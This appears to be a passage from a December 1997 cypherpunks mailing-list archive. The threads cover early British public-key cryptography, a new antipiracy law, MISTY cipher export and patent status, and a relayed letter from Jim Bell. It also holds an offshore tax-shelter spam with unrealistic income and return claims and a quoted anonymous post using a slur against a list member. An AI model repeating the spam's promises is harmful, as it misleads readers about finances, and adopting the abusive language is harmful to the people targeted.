>standard for data encryption, reported Meganet. The IBM
>spokesperson from the Security Technology Division requested
>immediate submission of VME to the National Institute of Standards
>& Technology and the Institute of Electrical & Electronic Engineers to
>facilitate the standardization. Obviously, Meganet's claim that their
>VME technology is completely impenetrable has garnered much
>support.
>
>Source: Meganet Corporation. http://www.meganet.com
>






From rosea at cnet.com  Wed Dec 17 13:24:58 1997
From: rosea at cnet.com (Rose Aguilar)
Date: Thu, 18 Dec 1997 05:24:58 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
Message-ID: <3.0.32.19971217131646.0072070c@cnet5.cnet.com>




>
>Just what is the meaning of "Willful" in this context?
>

We asked Rep. Goodlatte that question in today's 1:00 CNET Radio show.
I would paraphrase his answer, but it's a 10 minute interview so check it out.

http://www.radio.com/


-Rose




CNET Radio Reporter/Producer 
150 Chestnut St.
San Francisco, CA  94111 
415/395-7800 X 1227
Fax: 415/395-7815
http://www.radio.com/






From tcmay at got.net  Wed Dec 17 13:27:29 1997
From: tcmay at got.net (Tim May)
Date: Thu, 18 Dec 1997 05:27:29 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: 



At 1:20 PM -0700 12/17/97, Jim Burnes wrote:
>On Wed, 17 Dec 1997, Adam Shostack wrote:
>
>> Jim Burnes wrote:
>>
>> | >      http://jya.com/ellisdoc.htm
>> |
>> | Can patents be revoked due to prior art arguments?
>>
>> 	I think its a really bad precedent to revoking patents based
>> on the basis of secret documents released after the fact.  If you
>> believe in patents, then having your work nullifiable by government
>> claims is a bad idea.
>
>I was not advocating that they should be revoked, just curious
>as to whether they could be.
>
>But your analysis makes sense.  It would be simple for the
>government, within the context of the secrets act, to simply
>crank out phony secrets and destroy the financial viability
>of companies they don't like.

The rationale involves a lot more than just the _government_ doing this. If
patents are to make any sense at all, then there cannot be a continuing
series of "disclosures" of private diaries, private letters, lab notebooks,
and other items unavailable for public examination at the time the patent
was granted.

(I'm not defending patents. I believe they've outlived their usefullness.
And technology has made them easy to evade. Etc. Another topic.)

"Submarine" patents are especially odious. (Where applicants keep amending
their claims to cover new developments, all in secret. This was how the
_alleged_ "inventor of the microprocessor" was able to amend his
application for almost 20 years before the Patent Office in their ignorance
granted him a patent!)

The forgery issue (e.g., people backdating reports or modifying old papers)
is of course solvable with digital time-stamping services, though the
"brilliant penny scam" remains a concern.

(BPS--register or time-stamp N variants of some idea, and then only reveal
the particular variant one wishes, showing one to have invented something,
or predicted the future, etc. When it costs little or nothing to
register/stamp some instance, the BPS must always be a concern.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From vicente at certisign.com.br  Wed Dec 17 13:28:33 1997
From: vicente at certisign.com.br (Vicente Silveira)
Date: Thu, 18 Dec 1997 05:28:33 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: <34999229.15CD6AB5@certisign.com.br>



Adam Shostack wrote:
> 
> Jim Burnes wrote:
> 
> | >      http://jya.com/ellisdoc.htm
> |
> | Can patents be revoked due to prior art arguments?
> 
>         I think its a really bad precedent to revoking patents based
> on the basis of secret documents released after the fact.  If you
> believe in patents, then having your work nullifiable by government
> claims is a bad idea.
> ...

Maybe in the future this could be possible ... Let's say that
NSA does hashes of all their scientific papers and timestamp
them with some third party recognized company. This way NSA would
be able to prove that they had an original idea even if they claim
this only after someone else has reinvented it. 



-- 

Vicente Silveira - vicente at certisign.com.br
  CertiSign Certificadora Digital Ltda.






From ma5ter at hotmail.com  Wed Dec 17 13:54:29 1997
From: ma5ter at hotmail.com (Total Master)
Date: Thu, 18 Dec 1997 05:54:29 +0800
Subject: Dr. Dobbs Crypto CD
Message-ID: <19971217214502.24943.qmail@hotmail.com>



The delay is because "the man" is adding backdoors to everything!  As 
usual, the beaurocracy is behind schedule (just like 1984 occuring  way 
late too).

Louie is trying to backdoor everything, Constitution be damned!  
Chelsie's father (Janet Reno) is in on it too, she loves the backdoor, 
given the proper tool!

ma5ter


----Original Message Follows----
I just got off the phone with DDJ - according to the sales person "the
editors are preparing a letter to explain the delay". 

Seems kind of strange that it is taking so long.  Of note - The sales
person indicated that there has been no mention of pulling the product.

Regards,
John Horton



Mike Gurski wrote:
> 
> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?
> 
> --
> Michael Gurski                            mailto:gurski at solipsys.com
> Solipsys Corporation                         http://www.solipsys.com
> 6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
> Laurel, MD  20707-2929                             fax:(301)483-8901



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From real at freenet.edmonton.ab.ca  Wed Dec 17 13:55:23 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 18 Dec 1997 05:55:23 +0800
Subject: OTP
In-Reply-To: <199712171047.LAA28637@basement.replay.com>
Message-ID: 



On Wed, 17 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[ocksucker] May's abysmal grammar, atrocious spelling and feeble 
> responses clearly identify him as a product of the American education system.
> 
>           0
>         //\/ Tim C[ocksucker] May
>        \/\
>      ... /
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From mix at anon.lcs.mit.edu  Wed Dec 17 14:06:04 1997
From: mix at anon.lcs.mit.edu (lcs Mixmaster Remailer)
Date: Thu, 18 Dec 1997 06:06:04 +0800
Subject: OTP
Message-ID: <19971217220005.17234.qmail@nym.alias.net>



>Tim C[ocksucker] May's abysmal grammar, atrocious spelling and feeble
>responses clearly identify him as a product of the American education system.
>
>          0
>        //\/ Tim C[ocksucker] May
>       \/\
>     ... /

Ouch! Claiming he came from the American education system and bought the
bullshit they feed their students? That's the worst insult I've heard in 
weeks! And no this isn't sarcasm.






From rp at rpini.com  Wed Dec 17 14:12:42 1997
From: rp at rpini.com (Remo Pini)
Date: Thu, 18 Dec 1997 06:12:42 +0800
Subject: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <3.0.2.32.19971217225723.009a12c0@193.192.247.149>



At 10:05 17.12.97 -0500, you wrote:
>On Wed, 17 Dec 1997, Mike Gurski wrote:
>
>> Has anyone received their DDJ crypto CD that's been advertised for the
>> past half year?
>
>Not me.  I ordered both the crypto CD and the latest Dr. Dobbs on CD (back
>issues and such) at the same time.  I got the Dr Dobbs Mag CD about two
>months ago, but no crypto CD. :(
>
>
>You might wanto check Remo Pini's Crypto CD.  It doesn't have the books
>online, but plenty of cyphers and stuff. (rpini.com ??)

It's at http://www.rpini.com/crypto/cryptocd.html

Greets,
Remo Pini
-----------------------------------------------------
Fate favors the prepared mind. (from "Under Siege 3")
-----------------------------------------------------
Remo Pini                         T: +41  1 350 28 88
Pini Computer Trading             N: +41 79 216 15 51
http://www.rpini.com/                 E: rp at rpini.com
key: http://www.rpini.com/crypto/remopini.asc        
-----------------------------------------------------






From briandaniels at mindspring.com  Wed Dec 17 14:17:04 1997
From: briandaniels at mindspring.com (Brian the Obscure)
Date: Thu, 18 Dec 1997 06:17:04 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19971217170754.03dc2f70@pop.mindspring.com>



At 11:51 AM 12/17/97 -0800, Lizard wrote:
>
>At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>>At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>>>You have a CD player at home and use a walkwan when walking around, so you
>>>tape your CD's so you can listen to them. Wham! Instant jail time.
>>
>>Yes, if you copy $1,000 worth of CDs within six months.
>>
>At rougly 15.00/CD, that is one CD every three days, more or less..not
>utterly inconveivable, but a little difficult.

Try this scenario:  I have 150+ audio cd's, many of which are rare, import,
out of print, or even all of the above.  Since a fire could leave me
missing many pieces of irreplaceable music, I had come up with a plan.  Get
a cd-r burner, make backup copies of my audio discs, and store them in a
safe deposit box.

With this law, my plan would make me a felon somewhere around the 66th
disc.  With the 'victimized' record company getting to create the impact
statement, it might even be sooner.

--Brian
"But I thought everyone had CD's at the bank!"
Brian Daniels               | Gremlins squashed, bit-buckets emptied,
briandaniels at mindspring.com | webs woven&patched, cables untangled,
                            | users placated (extra fee), demons
                            | invoked&dispelled, hacks while you wait!
		http://www.mindspring.com/~briandaniels

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQENAzQh2VwAAAEH/2dBsIVIAB7fx62ylTAfa2JBgSmy3pLyywtBZj88TY/EcoB5
A7wDKsh53VjqaKM9pL1F4JQ/dxVF96lhh7QMSmWB1nqa4e/FWld2f/VqZxKSHu/9
9QDW5YgydAI/0S9wBxwefpNg/Dd9PvtJwkLlE5BtBcbzVSzc9cGPpFIs/g2914QX
uXTPhjNrqreC+7IBZAfTqv7LFO7NnACBS4A61/AGwey4X15gN1TzPBwgahK+SL4U
0+45TJfEg46MdGAv7+vs16u/5+l/e3eoCgySh6yKP/GQ+lV4h1u3+DztCRX5ypJz
DmXlCia5f4DuHXbJWLp2kA7D1rxsntS5x1I74x0ABRG0LkJyaWFuIEwuIERhbmll
bHMgPGJyaWFuZGFuaWVsc0BtaW5kc3ByaW5nLmNvbT4=
=YgZn
-----END PGP PUBLIC KEY BLOCK-----






From jya at pipeline.com  Wed Dec 17 14:35:05 1997
From: jya at pipeline.com (John Young)
Date: Thu, 18 Dec 1997 06:35:05 +0800
Subject: UK spooks invent RSA, DH in 1973
Message-ID: <1.5.4.32.19971217222809.007293d8@pop.pipeline.com>



Steve Bellovin of ATT has posted a message on Cryptography
in response to the CESG paper in which he discloses a 1962 
National Security Action Memorandum by President Kennedy
on permissive link devices for nuclear weapons which apparently 
led to NSA invention of PK crypto. Matt Blaze obtained the NASM
under FOIA and Steve is offering it on his Web site as GIF images.

     http://www.research.att.com/~smb/nsam-160/pg?.gif

     where ? ranges from 1 through 7.  

We've transcribed the images and put them with Steve's message:

     http://jya.com/nsam-160.htm

BTW, Professor Denning posted an announcement of the CESG
paper to UK Crypto (where a notice had appeared earlier) with brief
comment of prior art signficance.







From jya at pipeline.com  Wed Dec 17 15:57:13 1997
From: jya at pipeline.com (John Young)
Date: Thu, 18 Dec 1997 07:57:13 +0800
Subject: Jim Bell Letter
Message-ID: <1.5.4.32.19971217235045.006bf868@pop.pipeline.com>



Date: Wed, 17 Dec 1997 15:32:43 -0800
To: jya at pipeline.com
From: Anonymous
Subject: Letter from Jim 12/17

I received a letter from Jim today.   He apologizes for taking so long to
reply, citing his transfer to the Federal Detention Center and that, at
that time, everything except his legal papers were "lost", including my
address and telephone number. ... He says (for your web page, John): 

------------------------

. He mentions that he was sentenced to 11 months, and that mathematics
suggests that since he's been in for almost 7 months, he only has 4 months
to go.  "It'll be hard to wait this long, but that's life."

. "Unfortunately, I've been getting some highly-distorted (bad) publicity
in the last few weeks.  It is obvious that the government is trying to
engage in a "character assassination" spree against me.  They will fail in
the end, but it will be painful to me until then.  Please explain this to
the public.  Thanks."

. Currently he's only allowed one call per week, and so he will be making
that call to his relatives.  However, he does intend to write.  

. It won't be possible to make visits to him at this time, because, "This
place has weird rules, as it is supposed to be a "temporary" holding
facility, and only close family members are allowed to visit."

.  "If anyone has an old paperback copy of the book "2010" that they can
spare, I'd appreciate it."

.  His new address:

		Register 26906-086
		Federal Detention Center
		P.O. Box 68976
		Seattle, WA 98168

-----------------------






From bd1011 at hotmail.com  Wed Dec 17 17:51:49 1997
From: bd1011 at hotmail.com (Nobuki Nakatuji)
Date: Thu, 18 Dec 1997 09:51:49 +0800
Subject: Can I do Pubkic Domain that -
Message-ID: <19971218012702.5479.qmail@hotmail.com>



Can I do Pubkic Domain that I posted MISTY source code before? 


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From sammy at mci2000.com  Thu Dec 18 10:49:12 1997
From: sammy at mci2000.com (Reduce Taxes and Protect Assets)
Date: Thu, 18 Dec 1997 10:49:12 -0800 (PST)
Subject: Home Business:  $10 K/mth:  No Selling:No MLM!!
Message-ID: <199712182515AAA8221@post.mci2000.com>


 ============================================================
Our research indicates that the following information is of interest to you.  
If you prefer not to be on this mailing list please hit "reply" , enter "remove and (your full email address)" as the subject and we will promptly remove you.  Thank you...
============================================================


Hello Entrepreneur!

QUESTION-

What if... 

YOU could earn... an Immediate, Substantial $5,000 - $10,000+ 
Monthly Income... In As Little As 45-90 Days -- And all it required was a 
telephone?

What if I could show you how to generate a six figure income in just 
several  months?

This is NOT MLM!  

CALL NOW to arrange an interview:

1-800-322-6169
Ext. 9508 (24hrs.)

Are Any of Your Answers YES?
Would You Like To:

* Legally reduce business/personal taxes up to 95%
* Protect any and all assets from any form of lien or judgment?
* Learn how to preserve your privacy?
* Create a six-figure income in the next 4-6 months?

Are Any of Your Answers NO?

* Are you earning 62.4% per annum on your savings and investments?
* Do you know how to make your money work 40-800% harder for you?
* Can you legally shelter all assets from all taxes?

Learn HOW TO:

* Earn a large daily income AND what to do with it.
* Understand global economics quickly and easily.
* Enjoy higher returns on investments.
* Understand offshore investing and how YOU can benefit from it
* Open foreign bank accounts.
* Invest in foreign markets safely.
* Set up offshore trusts
* Reduce taxes

To find out more how YOU can take advantage of all these benefits and more, call the following 800 number, listen to a short 2 minute message, then leave your name, phone number and a convenient time to get a hold of you. 

CALL NOW:

1-800-322-6169
Ext. 9508 (24hrs.)

 ============================================================
We maintain a current REMOVE list.  If you wish to be removed from 
our list then please hit "reply" , enter "remove and (your full email
 address)" as the subject and we will promptly remove you from our list.  Thank you...
============================================================






From balden at mail.bc.rogers.wave.ca  Wed Dec 17 18:54:36 1997
From: balden at mail.bc.rogers.wave.ca (Bruce Balden)
Date: Thu, 18 Dec 1997 10:54:36 +0800
Subject: Can I do Pubkic Domain that -
Message-ID: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>



Are you looking for access to the MISTY source code? It's still illegal to
export it pending an appeal to the U.S. Supreme Court. Even if that appeal
fails, Congress will likely pass amended laws and/or the NSA/Commerce Dept
will issue revised regulations on the same day that an unfavourable decision
is announced.

Those guys just never learn that not only is the barn door open, but that
contents were never theirs to begin with.

-----Original Message-----
From: Nobuki Nakatuji 
To: cypherpunks at toad.com 
Date: Wednesday, December 17, 1997 6:22 PM
Subject: Can I do Pubkic Domain that -


>Can I do Pubkic Domain that I posted MISTY source code before?
>
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com






From bd1011 at hotmail.com  Wed Dec 17 19:24:31 1997
From: bd1011 at hotmail.com (Nobuki Nakatuji)
Date: Thu, 18 Dec 1997 11:24:31 +0800
Subject: Can I do Pubkic Domain that -
Message-ID: <19971218030626.14645.qmail@hotmail.com>



As for me, posted MISTY source code from Japan. 
Why is it improper if permission isn't taken from NSA/Commerce Dept ? 
>
>Are you looking for access to the MISTY source code? It's still illegal 
to
>export it pending an appeal to the U.S. Supreme Court. Even if that 
appeal
>fails, Congress will likely pass amended laws and/or the NSA/Commerce 
Dept
>will issue revised regulations on the same day that an unfavourable 
decision
>is announced.
>
>Those guys just never learn that not only is the barn door open, but 
that
>contents were never theirs to begin with.
>
>-----Original Message-----
>From: Nobuki Nakatuji 
>To: cypherpunks at toad.com 
>Date: Wednesday, December 17, 1997 6:22 PM
>Subject: Can I do Pubkic Domain that -
>
>
>>Can I do Pubkic Domain that I posted MISTY source code before?
>>
>>
>>______________________________________________________
>>Get Your Private, Free Email at http://www.hotmail.com
>
>



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From nobody at bureau42.ml.org  Wed Dec 17 21:51:32 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Thu, 18 Dec 1997 13:51:32 +0800
Subject: No Subject
Message-ID: 



When is Klintonkov running again? Why not?! He doesn't pay any attention to the other amendments!






From nobody at REPLAY.COM  Wed Dec 17 22:40:25 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 18 Dec 1997 14:40:25 +0800
Subject: Warez 2
Message-ID: <199712180622.HAA10160@basement.replay.com>









From dlv at bwalk.dm.com  Wed Dec 17 22:56:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 18 Dec 1997 14:56:29 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <4g0VHe2w165w@bwalk.dm.com>



"Bruce Balden"  writes:

>
> Are you looking for access to the MISTY source code?

No, thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From bd1011 at hotmail.com  Wed Dec 17 23:05:42 1997
From: bd1011 at hotmail.com (Nobuki Nakatuji)
Date: Thu, 18 Dec 1997 15:05:42 +0800
Subject: MISTY is patented International Patent
Message-ID: <19971218065824.25374.qmail@hotmail.com>



MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc.
A license is needed to "make, use or sell".


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From whgiii at invweb.net  Wed Dec 17 23:08:09 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Thu, 18 Dec 1997 15:08:09 +0800
Subject: 
In-Reply-To: 
Message-ID: <199712180703.CAA29977@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/18/97 
   at 05:36 AM, bureau42 Anonymous Remailer  said:

>When is Klintonkov running again? Why not?! He doesn't pay any attention
>to the other amendments!

Oh I am sure the rat bastard would like nothing more than to be another
Franklin "Dictator for Life" Roosevlet. He has already show that he is
just as much a socialist and has the same disrespect for the Constitution.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJjKto9Co1n+aLhhAQIqiwP/Q2s1sUv3wQTjx0lQ6IdAW2IK0RGqlfAm
CfsLdfO3gH5wDdD98goAVrnozQJI223BUpeHdh/wqPDiqz00+giH+c3fQWe2y08G
c1LqAsptg0KvQKYDd5JYc7wSha5+B2oekiCU8zhu7pZJ19e3lKwRSFprLfIFwcVy
c7tLI5f+iXE=
=PviL
-----END PGP SIGNATURE-----






From anon at anon.efga.org  Wed Dec 17 23:16:05 1997
From: anon at anon.efga.org (Anonymous)
Date: Thu, 18 Dec 1997 15:16:05 +0800
Subject: TEST
Message-ID: 




TEST








From whgiii at invweb.net  Wed Dec 17 23:37:18 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Thu, 18 Dec 1997 15:37:18 +0800
Subject: MISTY is patented International Patent
In-Reply-To: <19971218065824.25374.qmail@hotmail.com>
Message-ID: <199712180730.CAA30209@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <19971218065824.25374.qmail at hotmail.com>, on 12/17/97 
   at 10:58 PM, "Nobuki Nakatuji"  said:


>MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc. A
>license is needed to "make, use or sell".

Who cares?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJjQ9o9Co1n+aLhhAQJRRAP9EZqMk6hiqaClYZ/TrcBuqPE3usU6aXMu
gP9q/m2X4Ugc//A4x5Q9f3TILcHRjtVTTxYZP6J5yOmnxlkBdRJW8Lq4/Lbl6X7k
Opnu7ktBtZfvg2Fqqw6yEjN+jZ2WXa39n/hzctK+ot9g5Mppu3ideA/oJ5BWBsgG
bqy1uVj1s9A=
=qCIA
-----END PGP SIGNATURE-----






From hg-p at dev.null  Thu Dec 18 00:03:28 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:03:28 +0800
Subject: Warez 1
Message-ID: <199712180752.XAA15650@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
